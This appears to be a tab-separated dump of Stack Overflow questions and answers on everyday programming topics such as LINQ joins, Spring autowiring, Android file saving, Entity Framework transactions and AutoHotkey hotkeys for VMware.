17090094	0	LINQ Left Outer Join with conditions <p>I have the below tables that are coming from my SQL Database with Entity Framework 5.</p> <p>What I want to do is select all users where tblUserBusiness.BUID equals a passed in value OR where the Users.IsSysAdmin equals True. If the Users.IsSysAdmin equals True there will be no relating tblUserBusiness records hence the Left Outer Join.</p> <p><img src="https://i.stack.imgur.com/UuoYY.png" alt="enter image description here"></p> <p>I started with the below LINQ query that filtered correctly but did not allow for the Outer Join</p> <pre><code> businessUsers = (From u In db.Users From bu In db.tblUserBusinesses Where bu.BUID.Equals(buID) Or u.IsSysAdmin.Equals(True) Select New Users With {.ID = u.ID, .Name = u.Name, .UserName = u.UserName}).ToList </code></pre> <p>Then I moved onto the below query which allows for the Outer Join but I have no idea how to implement the <code>Where bu.BUID.Equals(buID) Or u.IsSysAdmin.Equals(True)</code></p> <pre><code> businessUsers = (From u In db.Users Group Join bu In db.tblUserBusinesses On u Equals bu.User Into userList = Group Select New Users With {.ID = u.ID, .Name = u.Name, .UserName = u.UserName}).ToList </code></pre> <p>Basically what I am after is the LINQ equivalent to the below TSQL</p> <pre><code>SELECT Users.ID, Users.UserName, Users.Name FROM Users LEFT OUTER JOIN tblUserBusiness ON Users.ID = tblUserBusiness.UserID WHERE (Users.IsSysAdmin = 1) OR (tblUserBusiness.BUID = 5) </code></pre>
11225165	0	 <p>Setting it to <code>nil</code> will work, assuming that no other object is holding on to (has <strong><em>strong</em></strong> reference to) the <code>NSDictionary</code>.</p>
23489643	0	 <p>First you should check if <code>lbName.SelectionMode</code> is <code>ListSelectionMode.Multiple</code></p> <p>then you should the following </p> <pre><code>string names = reader["staffName"].ToString(); string[] selectedName = names.Split(','); lbName.SelectedIndex = -1; foreach (var name in selectedName) { lbName.Items.First(item =&gt; item.Value == name).Selected = true; } </code></pre>
23042938	0	 <p>Update your selector to <code>element+element</code> selector as follows:</p> <pre><code>#wrapper button:active+#test { width: 0px; } </code></pre> <p><a href="http://jsfiddle.net/f3NeA/8/" rel="nofollow">http://jsfiddle.net/f3NeA/8/</a></p>
5185513	0	label inside input using jquery <p>my "label" is inside the input, so i want to empty the field when the user click and if its empty the "label" is back again </p> <pre><code> $('#name').focus(function() { if ($(this).val()=="Your name") { $(this).val(""); } }).blur(function() { if ($(this).val()=="") { $(this).val("Your name") } }); </code></pre> <p>and this would be done to 3 or more fields, there's any better aprouch? without using plugins, just jquery</p>
37946509	0	 <p>If you want to sum of amount then go with this</p> <p>Example SQL query:</p> <pre><code>select sum(column_name) as total from your table_name </code></pre> <p>Then fetch the result in PHP</p> <pre><code>echo $fetched_data['total']; </code></pre>
19021265	0	 <p>A very popular O(n log n) algorithm is merge sort. <a href="http://en.wikipedia.org/wiki/Merge_sort" rel="nofollow">http://en.wikipedia.org/wiki/Merge_sort</a> for example of the algorithm and pseudocode. The log n part of the algorithm is achieved through breaking down the problem into smaller subproblems, in which the height of the recursion tree is log n.</p> <p>A lot of sorting algortihms has the running time of O(n log n). Refer to <a href="http://en.wikipedia.org/wiki/Sorting_algorithm" rel="nofollow">http://en.wikipedia.org/wiki/Sorting_algorithm</a> for more examples.</p>
27402446	0	 <blockquote> <p>I think what I do here is considered to be bad practice, isn't it?</p> </blockquote> <p>Yes, exposing mutable portions of your class through a getter may be misleading, because the data is not encapsulated well enough. There is nothing wrong with changing the data, it's just that it is done in a way that does not immediately stand out as modification.</p> <p>There is no universal rule to fix this. Generally, you should avoid returning mutable objects inside your class directly. Instead, provide getters and setters where appropriate, and do not give <code>List&lt;B&gt;</code> to your caller:</p> <pre><code>class A { private List&lt;B&gt; bs = new ArrayList&lt;B&gt;; public void getSizeB() { return bs.size(); } public B getB(int i) { return bs.get(i); } public void setB(int i, B b) { bs.set(i, b); } public void addB(B b) { bs.add(B); } ... // Add more methods as needed } </code></pre> <p>The idea is to stay in control of what gets into your <code>List&lt;B&gt;</code>: since there is no direct access, you can validate every <code>B</code> that gets into the list. The code that uses your class <code>A</code> must be explicit about all modifications that it makes, because it cannot get the list directly and do whatever it wants with it.</p>
29169195	0	 <p>I fixed this problem by moving the project via AndroidStudio Refactoring.</p> <ol> <li>Open the project that you want to move.</li> <li>Change to <em>Project</em> view.</li> <li>From there you can Refactor, Move your project to your desired directory.</li> </ol> <p>AndroidStudio will take care of this path to long problem.</p>
25383596	0	 <p>The <a href="http://en.wikipedia.org/wiki/Hough_transform" rel="nofollow">Hough Transform</a> is the most commonly used algorithm to find lines in an image. Once you run the transform and find lines, it's just a matter of sorting them by length and then crawling along the lines to check for the constraints your application might have.</p> <p><a href="http://en.wikipedia.org/wiki/RANSAC" rel="nofollow">RANSAC</a> is also a very quick and reliable solution for finding lines once you have the edge image.</p> <p>Both these algorithms are fairly easy to implement on your own if you don't want to use an external library.</p>
262392	0	Is there a way to find the name of the calling function in actionscript2? <p>In an actionscript function (method) I have access to arguments.caller which returns a Function object but I can't find out the name of the function represented by this Function object. Its toString() simply returns [Function] and I can't find any other useful accessors that give me that... Help :-/</p>
36069145	0	How to be sure that files are saved in gallery for all Android devices? <p>According to user reviews, my app dosn't save on their phones (LG4, oneplus phones, android 5.1, Android 6.0)</p> <p>For Android 6.0 I have solved the problem by using the new permission system. But how can I be sure that the code actually works 100% on all devices? Is there any improvment that can be made?</p> <p><strong>This is the onClick method that is run, when the user clicks the save button But also ask for permission for Android 6 devices</strong></p> <pre><code>public void saveQuote(View v) { if (Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState())) { //check if we have permissoin to WRITE_EXTERNAL_STORAGE if (PackageManager.PERMISSION_GRANTED == ActivityCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE)) { //This method just create a bitmap of my edittext saveBitmap(); } else { //if permission is not granted, then we ask for it ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE}, REQUEST_WRITE_EXTERNAL_STORAGE); } } } </code></pre> <p><strong>This is the code that makes the saving operation:</strong></p> <pre><code>private void saveImageToExternalStorage(Bitmap finalBitmap) { String filename = "#" + pref_fileID.getInt(SAVE_ID, 0) + " Quote.JPEG"; //The directory in the gallery where the bitmaps are saved File myDir = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES).toString() + "/QuoteCreator"); //The directory in the gallery where the bitmaps are saved File myDir = new File(root + "/QuoteCreator"); //creates the directory myDir. myDir.mkdirs(); File file = new File(myDir, filename); try { FileOutputStream out = new FileOutputStream(file); finalBitmap.compress(Bitmap.CompressFormat.JPEG, 100, out); out.flush(); out.close(); Toast.makeText(getApplicationContext(), R.string.savedToast, Toast.LENGTH_LONG).show(); } catch (Exception e) { e.printStackTrace(); } /* Tell the media scanner about the new file so that it is immediately available to the user. */ MediaScannerConnection.scanFile(this, new String[]{file.toString()}, null, new MediaScannerConnection.OnScanCompletedListener() { public void onScanCompleted(String path, Uri uri) { Log.i("ExternalStorage", "Scanned " + path + ":"); Log.i("ExternalStorage", "-&gt; uri=" + uri); } }); } </code></pre>
37013377	0	 <p>Create a calc column with the FIND function. </p>
28144960	0	3 column responsive footer <p>I have a responsive grid layout for thumbnail images and a full width header. It is built using 'ul' and 'li' to make the grid. So basically I'm not using a responsive grid layout throughout. Although I would like to have a three column footer at the bottom that is responsive (stack on top of each other) </p> <p>I want the first column to align full left and the other two columns to align right. each column is only around 15% of the total width (so i couldn't just have all three width 33%) I want the functionality of a three column layout like in many of the themes like skeleton boilerplate, etc</p> <p>I am having trouble making a good css markup that will work, I have used...</p> <p>css</p> <pre><code>F1 { padding: 15px; width: 100px; margin: 0 0 0 20px; float: right; } .F2 { float: left; text-align: left; } .F3 { font-size: 13px; text-align: right; float: right; } </code></pre> <p>but that just separates the divs, and doesn't offer much control</p> <p>any help or references to help are greatly appreciated</p>
2994053	0	Netbeans render unrecognized files as html <p>I am using Netbeans and very happy with it. Unfortunately I am having a little problem with it that I cant seem to figure out. I am using Silverstripe CMS and it uses a templating system that syntactically is basically just a mix of php and html. These files however end in .ss and therefore netbeans doesnt format and highlight them at all. How do I make netbeans format and highlight all .ss files just as if they where normal html files?</p> <p>Kind Regards Nick</p>
22353849	0	Query for ranges in reactivemongo <p>How do I query for ranges using reactivemongo. Something equivalent to</p> <pre><code> db.collection.find( { field: { $gt: value1, $lt: value2 } } ); </code></pre> <p>Thanks.</p>
1647681	0	 <p>Changing the image's printed dimensions fixed it. The button doesn't look at the pixel dimensions.</p>
34084144	0	 <p>Yes, it's possible to do and it's very useful when you want to <strong>insert a entity to database</strong> and use <strong>the auto-generated id for the next insert or update</strong> </p> <pre><code>using (var context = new DbContext()) { using (var transaction = context.Database.BeginTransaction()) { var item = new Item(); context.Items.Insert(item); context.SaveChanges(); // temporary insert to db to get back the auto-generated id // do some other things var otherItem = context.OtherItems.First(); // use the inserted id otherItem.Message = $"You just insert item with id = {item.Id} to database"; transaction.Commit(); } } </code></pre> <p>Because your question also asked about a working pattern, here's my working code (with use of FluentApi, DbContext &amp; Transaction). I was having the same issue as you :). Hope it helps you</p> <pre><code>public class FluentUnitOfWork : IDisposable { private DbContext Context { get; } private DbContextTransaction Transaction { get; set; } public FluentUnitOfWork(DbContext context) { Context = context; } public FluentUnitOfWork BeginTransaction() { Transaction = Context.Database.BeginTransaction(); return this; } public FluentUnitOfWork DoInsert&lt;TEntity&gt;(TEntity entity) where TEntity : class { Context.Set&lt;TEntity&gt;().Add(entity); return this; } public FluentUnitOfWork DoInsert&lt;TEntity&gt;(TEntity entity, out TEntity inserted) where TEntity : class { inserted = Context.Set&lt;TEntity&gt;().Add(entity); return this; } public FluentUnitOfWork DoUpdate&lt;TEntity&gt;(TEntity entity) where TEntity : class { Context.Entry(entity).State = EntityState.Modified; return this; } public FluentUnitOfWork SaveAndContinue() { try { Context.SaveChanges(); } catch (DbEntityValidationException dbEx) { // add your exception handling code here } return this; } public bool EndTransaction() { try { Context.SaveChanges(); Transaction.Commit(); } catch (DbEntityValidationException dbEx) { // add your exception handling code here } return true; } public void RollBack() { Transaction.Rollback(); Dispose(); } public void Dispose() { Transaction?.Dispose(); Context?.Dispose(); } } </code></pre> <p>Sample usage:</p> <pre><code>var status = BeginTransaction() // First Part .DoInsert(entity1) .DoInsert(entity2) .DoInsert(entity3) .DoInsert(entity4) .SaveAndContinue() // Second Part .DoInsert(statusMessage.SetPropertyValue(message =&gt; message.Message, $"Just got new message {entity1.Name}")) .EndTransaction(); </code></pre>
20187194	0	 <p>You have two problems in getting your DIVIDE to work.</p> <p>In order of occurrence:</p> <p>You ACCEPT your AMOUNT. Your AMOUNT has an implied decimal place (the V in the PICture string), yet ACCEPT is going to, for your purpose, ignore this implied decimal. There will be no alignment with what the user types at the screen. There is more than one way to deal with this, perhaps the simplest for your purpose it to look at the Intrinsic FUNCTION NUMVAL.</p> <p>You, as @Magoo indicated, do not use decimal points in your literals, so they are treated as whole numbers, so effectively the figures you expect to be used for the currency conversion are multiplied by 10,000 and left-truncated.</p> <p>When reporting a problem it is a good idea to show the input data which gave you the problem, the result you actually achieved, and the expected result. If you can work out what is happening but are unsure how to correct it, that is a bonus.</p> <p>You have tagged Coding-Style. I think you might want to remove that by editing your question. The people interested in the Coding-Style tag are probably not too aware of COBOL. If you have a future Career as a COBOL programmer, your style is going to be more or less dictated by the site standards of where you work, and will change from site to site. You can, of course, develop your own style, but it develops, it isn't just given to you. Knowing the messes you can get into helps you develop style (technique) in avoiding getting there. You'll still need to know how things happen, because not all programmers take the time to develop anything in the way of style.</p> <p>Read through some of the questions here, and see if you get some ideas about common problems.</p>
33113171	0	 <p>I think you are confusing assigning variables with aliases. assigning a variable means you store the result of the command in a variable what this command does</p> <pre><code>b=`pwd` </code></pre> <p>is running <code>pwd</code> and stores the answer in a variable b.</p> <p>and alias means giving some command a different name. so running <code>alias b pwd</code> will make it so whenever you run b, you will actually run <code>pwd</code></p>
6223689	0	 <p>The keyword <code>static</code> unfortunately has a few different unrelated meanings in C++</p> <ol> <li><p>When used for data members it means that the data is <strong>allocated in the class</strong> and not in instances.</p></li> <li><p>When used for data inside a function it means that the data is allocated statically, <strong>initialized the first time the block is entered</strong> and lasts until the program quits. Also the variable is visible only inside the function. This special feature of local statics is often used to implement lazy construction of singletons.</p></li> <li><p>When used at a compilation unit level (module) it means that the variable is like a global (i.e. allocated and initialized before <code>main</code> is run and destroyed after <code>main</code> exits) but that <strong>the variable will not be accessible or visible in other compilation units</strong>.</p></li> </ol> <p>I added some emphasis on the part that is most important for each use. Use (3) is somewhat discouraged in favor of unnamed namespaces that also allows for un-exported class declarations.</p> <p>In your code the <code>static</code> keyword is used with the meaning number 2 and has nothing to do with classes or instances... it's a variable of the <strong>function</strong> and there will be only one copy of it.</p> <p>As correctly <strong>iammilind</strong> said however there could have been multiple instances of that variable if the function was a template function (because in that case indeed the function itself can be present in many different copies in the program). Even in that case of course classes and instances are irrelevant... see following example:</p> <pre><code>#include &lt;stdio.h&gt; template&lt;int num&gt; void bar() { static int baz; printf("bar&lt;%i&gt;::baz = %i\n", num, baz++); } int main() { bar&lt;1&gt;(); // Output will be 0 bar&lt;2&gt;(); // Output will be 0 bar&lt;3&gt;(); // Output will be 0 bar&lt;1&gt;(); // Output will be 1 bar&lt;2&gt;(); // Output will be 1 bar&lt;3&gt;(); // Output will be 1 bar&lt;1&gt;(); // Output will be 2 bar&lt;2&gt;(); // Output will be 2 bar&lt;3&gt;(); // Output will be 2 return 0; } </code></pre>
27453949	0	In a strongly typed view, how can you show a property of a seperate but related model? <p>If I have two entities like the following:</p> <p><img src="https://i.stack.imgur.com/xWct1.png" alt="enter image description here"></p> <p>...in a strongly typed Details view of BasicEntity, is there a way to show the related ListItem's Description using the navigation properties?</p> <p>Thank you.</p>
17164641	0	 <p>The best way to do this would be to use <code>grep</code> to get the lines, and populate an array with the result using newline as the internal field separator:</p> <pre><code>#!/bin/bash # get just the desired lines results=$(grep "mypattern" mysourcefile.txt) # change the internal field separator to be a newline IFS=$'/n' # populate an array from the result lines lines=($results) # return the third result echo "${lines[2]}" </code></pre> <p>You could build a loop to iterate through the results of the array, but a more traditional and simple solution would just be to use bash's iteration:</p> <pre><code>for line in $lines; do echo "$line" done </code></pre>
6229684	0	 <p>wow. I just asked it few minutes ago ... use search next time ;)</p> <p><a href="http://stackoverflow.com/questions/6228359/dynamic-favicon-when-im-proccessing-ajax-data">Dynamic favicon when I&#39;m proccessing ajax data</a></p> <p><a href="http://stackoverflow.com/questions/824349/modify-the-url-without-reloading-the-page/3354511#3354511">Modify the URL without reloading the page</a></p>
34328523	0	is this a bug of ios safari? <p>recently, when using <code>display:flex</code> and <code>flex-grow</code>, i find a problem:<br> i write a demo about this question: <a href="http://output.jsbin.com/nijahifogu" rel="nofollow noreferrer">demo</a><br> i run the demo using mac chrome(emulate screen resolution: 320*480) <br> and ios (lastest) safari,<br> the result of chrome is what i expected<br> the screen shot of results below:<br> the result of safari:<br> <a href="https://i.stack.imgur.com/hpzFN.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hpzFN.jpg" alt="enter image description here"></a><br> the result of chrome:<br> <a href="https://i.stack.imgur.com/HuLuX.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HuLuX.jpg" alt="enter image description here"></a> <br><br><br><br> <hr> <strong>update:</strong> <hr> A new <a href="http://jsbin.com/kogijutiti/1" rel="nofollow noreferrer">demo</a> that the css property is prefixed by(<code>-webit-</code>),<br> but it don't work for me. <hr> <strong>update:</strong> <hr> the viewport need enough narrow to trigger the <code>text-overflow:ellipse</code>,<br>the bug would occur;</p>
31852116	0	Access bean using @AutoWire outside component scan <p>I have a Java Project which is written using Spring and am having trouble with <code>@Autowire</code> of a bean. The declaration of the bean</p> <pre><code>&lt;beans:bean id="messageSource" class="org.springframework.context.support.ReloadableResourceBundleMessageSource"&gt; &lt;beans:property name="basenames" value="classpath:messages"/&gt; &lt;beans:property name="defaultEncoding" value="UTF-8" /&gt; &lt;/beans:bean&gt; </code></pre> <p>The bean is being autowired without issue in my class <code>BaseController</code> which falls under the component-scan</p> <pre><code>&lt;context:component-scan base-package="com.myproj.webservice.controller" /&gt; </code></pre> <p>I want to <code>@Autowire</code> in another class <code>MessageEnum</code> which does not fall under the <code>component-scan</code>. I have tried to add <code>autowire="byType"</code> and <code>autowire="byName"</code> to my bean declaration but the autowiring still did not work.</p> <p>Please find here also my code for the <code>MessageEnum</code> class</p> <pre><code>public enum MessageEnum{ ENUM1("someparam"), ENUM2("someparam2"); @Autorwire private MessageSource messageSource; private String param; //Constructors &amp; getParam and setParam methods public MessageSource getMessageSource() { return messageSource; } } </code></pre> <p>What am I missing here for the <code>messageSource</code> to be autowired?</p> <p>EDIT</p> <p>I tried to create the <code>MessageEnum</code> as a bean as advised here. I created the default constructor <code>MessageEnum() {}</code></p> <p>and set the bean in my xml</p> <pre><code>&lt;beans:bean id="messageEnum" class="com.myproj.webservice.util.MessageEnum"&gt; </code></pre> <p>but receive the error message</p> <pre><code>org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'messageEnum' defined in ServletContext resource [/WEB-INF/spring/appServlet/servlet-context.xml]: Instantiation of bean failed; nested exception is org.springframework.beans.BeanInstantiationException: Could not instantiate bean class [com.myproj.webservice.util.MessageEnum]: No default constructor found; nested exception is java.lang.NoSuchMethodException: com.myproj.webservice.util.MessageEnum.&lt;init&gt;() </code></pre>
32594007	0	 <p>You should be using the Google Places API:</p> <p>This request</p> <p><a href="https://maps.googleapis.com/maps/api/place/textsearch/json?query=1054+East+Commerce+Blvd+Slinger+WI+53086&amp;key=INSERT_YOUR_API_KEY_HERE" rel="nofollow">https://maps.googleapis.com/maps/api/place/textsearch/json?query=1054+East+Commerce+Blvd+Slinger+WI+53086&amp;key=INSERT_YOUR_API_KEY_HERE</a></p> <p>returns the following json for me:</p> <pre><code>{ "html_attributions" : [], "results" : [ { "formatted_address" : "1054 E Commerce Blvd, Slinger, WI 53086, USA", "geometry" : { "location" : { "lat" : 43.32459619999999, "lng" : -88.2700943 } }, "icon" : "https://maps.gstatic.com/mapfiles/place_api/icons/geocode-71.png", "id" : "fff40888c14fb49758a87b06cfb567dc700f9c2f", "name" : "1054 E Commerce Blvd", "place_id" : "EiwxMDU0IEUgQ29tbWVyY2UgQmx2ZCwgU2xpbmdlciwgV0kgNTMwODYsIFVTQQ", "reference" : "CpQBigAAAJ9o9UeX-dpZYNA7UMTjNzdGfo2-hKh63_7FFlwohjIlTLw-SW9T55YvvaKqLek9w1wTTW1ruwUhZfDfsbMoC4n1Rk0oYbnyKEAsEPgtwuVf-vNgtYqBrHKpRxT5kECSh4O75_GmZzUaypjQqEAKut-ZCz0eMg5fKzgkCXQrUX2o-kLqlj22_hGGKGdApXJ80xIQtvry7J5ah_DxHh0Hv1SwpBoULWCqMnCH34vJY8WzMRD3pVjNS5o", "types" : [ "street_address" ] } ], "status" : "OK" } </code></pre>
39160326	0	 <p>I encountered a similar problem. As well as being fixed, one of the inside elements had <code>transform:rotate</code> 90 deg and had a hover effect that changed its position slightly (pulled out from the side of the screen). The background color of this element and its sibling were the same, and both would flicker randomly when elements on the page were changed / rendered.</p> <p>I finally found a combination of styles that stopped the background colour flickering altogether.</p> <p>I added the following to the parent element from here: <a href="http://stackoverflow.com/a/27863860/6260201">http://stackoverflow.com/a/27863860/6260201</a> </p> <pre><code>-webkit-transform:translate3d(0,0,0); -webkit-transform-style: preserve-3d; </code></pre> <p>That stopped the flickering of the transformed/sliding element.</p> <p>And I added the following to the remaining element from here: <a href="http://stackoverflow.com/a/19817217/6260201">http://stackoverflow.com/a/19817217/6260201</a></p> <pre><code>-webkit-backface-visibility: hidden; </code></pre> <p>This then stopped the flickering of the background colour for the sibling element.</p>
40087136	0	 <p>One solution would be to use :</p> <pre><code>&lt;Caption\b[^&gt;]*&gt;(.*?)&lt;\/?Caption&gt; ^ </code></pre> <p>But it's kind of ugly</p>
26947543	0	 <p>Yes, this is correct. In your example <code>%PATH%</code> will be expanded to the current value of the PATH variable, so this command is effectively adding a new entry to the beginning of the PATH. </p> <p>Note that calling <code>set PATH</code> will only affect the current shell. If you want to make this change permanent for all shells, the simplest option is to set it as a user variable using the Environment Variables dialog box. </p> <p>On Windows 8 you can open this dialog by hitting Win+s and searching for 'environment variables'. On earlier versions of Windows you can right-click 'My Computer', choose Properties, then Advanced system settings, then Environment variables. You can create (or update) a PATH variable in the user variables section and add whatever entries you need. These will be appended to the existing system path. If you take this approach you will need to open a new cmd shell after updating the variables.</p>
17570042	0	 <p>If you just do <code>br.title()</code> it will give you the unicode string of the special character.</p> <p><code>print</code> attempts to display the non-ASCII character by encoding the Unicode string.</p>
25627174	0	 <p>I got a slightly messier answer by first converting your dynamic array to a known type:</p> <pre><code>IEnumerable&lt;JToken&gt; d2 = d.array; </code></pre> <p>Then you can use Any as an extension method.</p> <pre><code>if (d2.Any(p =&gt; p.ToString() == "1")) //etc. </code></pre>
35071644	0	 <p>You just need to add the responsive class that tells the menu to be horizontal from medium and up, like so:</p> <pre class="lang-html prettyprint-override"><code>&lt;ul class="vertical medium-horizontal menu" data-responsive-menu="drilldown medium-dropdown"&gt; </code></pre> <p><strong>Update</strong>: The <a href="https://github.com/zurb/foundation-sites/issues/7978" rel="nofollow"><strong>bugs</strong></a> related to the dropdown arrows and submenu fold out direction in the responsive menu have been fixed in the release of <strong><code>foundation-sites 6.2.0</code></strong>.</p>
1086463	0	 <ol> <li>Probably you don't have environment variable ANT_HOME set properly</li> <li>It seems that you are calling Ant like this: "ant build..xml". If your ant script has name build.xml you need to specify only a target in command line. For example: "ant target1".</li> </ol>
2275069	0	 <p>Here's a low-tech technique that keeps all the script in your page template: add a <code>$(document).ready()</code> function to the page that executes conditionally based on a page-level variable, like this ...</p> <pre><code>// In your button's click handler, set this.UserHasClicked to true var userHasClicked = '&lt;%= this.UserHasClicked %&gt;' == 'True'; $(document).ready(function() { if(userHasClicked) { $(labelSelector).delay(2000).fadeOut(1000); } }); </code></pre>
38956600	0	 <p>This error message was introduced with SubGit version 3.2.1 and SVN Mirror add-on version 3.3.0.</p> <p>SubGit/SVN Mirror rejects push operation that would result into branch replacement in Subversion repository. There are basically two cases when Git changes may lead to replacements on SVN side:</p> <ol> <li><p>Force push.</p> <p>When one forcefully pushes non-fast-forward update, SubGit/SVN Mirror has nothing to do but delete current version of the branch and re-create it from some older revision, because this is exactly what non-fast-forward update does: continuing branch history from a commit other than the branch tip.</p></li> <li><p>Fast-forward merge from one branch into another.</p> <p>When one creates a new branch <code>foo</code> from <code>master</code>:</p> <pre><code>$ git checkout -b foo $ git commit -am 'fix foo' [foo ca3caf9] fix foo </code></pre> <p>then pushes that branch to SubGit mirror:</p> <pre><code>$ git push origin foo ... Sending commits to SVN repository: remote: ca3caf9 =&gt; r10 branches/foo </code></pre> <p>which gets <code>ca3caf9</code> mapped to <code>branches/foo@10</code>.</p> <p>Finally, one merges branch <code>foo</code> back to <code>master</code>:</p> <pre><code>$ git checkout master $ git merge foo Updating 0e39ad2..ca3caf9 Fast-forward </code></pre> <p>Noticed that <em>Updating ... Fast-forward</em> message? It means <code>git merge</code> found no new commits on <code>master</code>, hence there was no need to create a merge commit, i.e. <code>git merge</code> just moved the <code>master</code> pointer from older commit <code>0e39ad2</code> to a newer one <code>ca3caf9</code>.</p> <p>Now what happens when one pushes <code>master</code> to SubGit mirror:</p> <pre><code>$ git push origin master </code></pre> <p>SubGit finds out that <code>master</code> was updated from <code>0e39ad2</code> mapped to <code>trunk@9</code> to <code>ca3caf9</code> mapped to <code>branches/foo@10</code>. There's nothing SubGit can do but delete <code>trunk</code> and re-create it from <code>branches/foo@10</code> which obviously leads to replacement of <code>trunk</code>.</p></li> </ol> <p>And so we made sure that SubGit does not replace branches in these two scenarios unless SubGit administrator explicitly sets the following configuration option:</p> <pre><code>$ edit REPO/subgit/config ... [svn] allowBranchReplacement = true ... $ subgit install REPO </code></pre> <p>However, I'd recommend to keep <code>svn.allowBranchReplacement</code> set to <code>false</code> and follow these best practices to avoid the error message reported in the original question:</p> <ul> <li><p>Never force push anything; prefer to merge, revert of branch out changes rather than overwrite them.</p></li> <li><p>When merging one branch into another add <code>--no-ff</code> option: it forces <code>git merge</code> to create a merge commit when it would rather do a fast-forward update otherwise:</p> <pre><code>$ git merge --no-ff foo </code></pre></li> </ul>
29424477	0	How do I make a hotkey to activate a specific VMware Workstation VM? <p>I'm using the latest version of VMware Workstation (11.1.0) on Windows 7 x64 and I want to be able to do a keystroke of "Ctrl + 1" to go to VM #1, "Ctrl + 2" to go to VM #2, and "Ctrl + 3" to go to VM #3.</p> <p>Sounds simple right? It isn't.</p> <p>On Mac OS X, achieving this functionality is trivial with VMware Fusion in combination with Spaces / Mission Control - you can simply put each VM on a separate space and then define whatever space hotkeys you want. I'm migrating from OS X and want this same functionality.</p> <p>For reference, here are some potential solutions that I've tried and can verify that they don't work:</p> <p><strong>1) AutoHotkey</strong></p> <p>AutoHotkey can be used to make hotkeys like so:</p> <pre><code>^1::WinActivate, Win7(1) - VMware Workstation ^2::WinActivate, Win7(2) - VMware Workstation ^3::WinActivate, Win7(3) - VMware Workstation </code></pre> <p>These work to <strong>enter</strong> the VMs, but not to exit; Workstation will feed the "Ctrl + 1" to the VM and AutoHotkey does not take precedence, even if AutoHotkey is run as an administrator.</p> <p><strong>2) Suspend/Unsuspend with AutoHotkey</strong></p> <p>This promising post suggests that suspending and that unsuspending AutoHotkey while the VMware window is active will fix the problem:</p> <p><a href="http://superuser.com/questions/232762/autohotkey-script-to-exit-vmware-window">http://superuser.com/questions/232762/autohotkey-script-to-exit-vmware-window</a></p> <p>However, even after copying the exact code and making the necessary string modifications, I can't get it to work with Workstation.</p> <p><strong>3) Remote Desktop and/or VNC</strong></p> <p>One possible solution, if all 3 of the VMs in question were running Windows, would be to use Microsoft's Remote Desktop feature. However, one or more of the VMs that I intend to use will be running Linux.</p> <p>On Linux, it is possible to just use VNC. However, VNC has considerable drawbacks when compared to the native VMware Workstation console window: there is no sound, the resolution won't automatically scale, the performance will be bad, and so forth.</p> <p>Lastly, the VMs will be on 1) networks that won't be connected to the host via a bridged NIC (with the NIC disabled on the host) and 2) using a VPN without any split tunnel. So there will be no connectivity for either remote desktop or VNC in the first place.</p> <p><strong>3) A Windows Keyboard Hook</strong></p> <p>Liuk explains how to use a Windows hook to intercept keystrokes using C++: </p> <p><a href="http://polytimenerd.blogspot.com/2011/02/intercepting-keystrokes-in-any.html" rel="nofollow">http://polytimenerd.blogspot.com/2011/02/intercepting-keystrokes-in-any.html</a></p> <p>However, after testing with the demo program, it seems that this method does not intercept keystrokes sent to VMware Workstation.</p> <p><strong>4) FullScreenSwitch.directKey</strong></p> <p>It seems that in VMware Workstation used to have this kind of functionality built in, as documented in this SuperUser thread:</p> <p><a href="http://superuser.com/questions/71901/vmware-workstation-keyboard-shortcut">http://superuser.com/questions/71901/vmware-workstation-keyboard-shortcut</a></p> <p>However, VMware's documentations states that this is for VMware Workstation 5.0. I tried adding these strings to my VMX file and they had no effect, so the functionality must have been depreciated somewhere along the lines between Workstation 5 and 11.</p> <p><strong>5) PSExec</strong></p> <p>Wade Hatler mentions that he accomplishes this using PSExec to activate the appropriate AutoHotkey script on the host machine:</p> <p><a href="http://www.autohotkey.com/board/topic/64359-sending-keystrokes-to-vmware-player/" rel="nofollow">http://www.autohotkey.com/board/topic/64359-sending-keystrokes-to-vmware-player/</a></p> <p>This solution is questionable in that you have to keep the password of your host machine in plaintext in order to pass it to PSExec.</p> <p>Regardless, this solution will not work for the reasons also described in #2 above: the VMs in question will be on 1) networks that won't be connected to the host via a bridged NIC (with the NIC disabled on the host) and 2) using a VPN without any split tunnel. So there will not be guaranteed connectivity between the host and the guest.</p> <p><strong>6) Execute a "Host" keystroke between every "Ctrl + #" keystroke</strong></p> <p>This is problematic in that it doubles the amount of keystrokes involved and makes it impossible to "flip" through all of my VMs by holding down control and hitting 1 + 2 + 3 + 4 + 5, and so forth.</p> <p><strong>7) Use the "Host + Left/Right Arrow" hotkey and/or VMware-KVM.exe for cycling functionality</strong></p> <p>This is problematic in that when I have 10 or more VMs open at a time, rotating through all of them becomes incredibly cumbersome and inefficient.</p>
33316525	0	 <p>Yes. I think <code>foo.string</code> will calulate each time until iteration satisfies <code>True</code>. So you can do this</p> <pre><code>foo_string=foo.string if any(name in foo_string for name in faa.names): </code></pre>
20736643	0	 <p>CSS only solution</p> <pre><code>article { position: relative; } article:after { content: ''; position: absolute; width: 100%; height: 1px; // suit your need background: black; // suit your need top: 100%; left: 0; } </code></pre>
29957556	0	 <p>Try using this query:</p> <pre><code>SELECT a.name, c.company, NVL(cp.profile_value, pd.profile_value) FROM employee a INNER JOIN company c ON a.comp_id = c.comp_id LEFT JOIN company_profile cp ON c.comp_id = cp.comp_id LEFT JOIN profile_defaults pd ON cp.profile_id = pd.profile_id </code></pre> <p>This solution assumes that you have columns <code>comp_id</code> in both the <code>company_profile</code> and default <code>profile_defaults</code> tables to which you can join a record for a given company. As @PM77-1 mentioned, I use <code>NVL()</code> to first check the <code>company_profile</code> table, and default to <code>profile_defaults</code> if nothing is found in the former.</p>
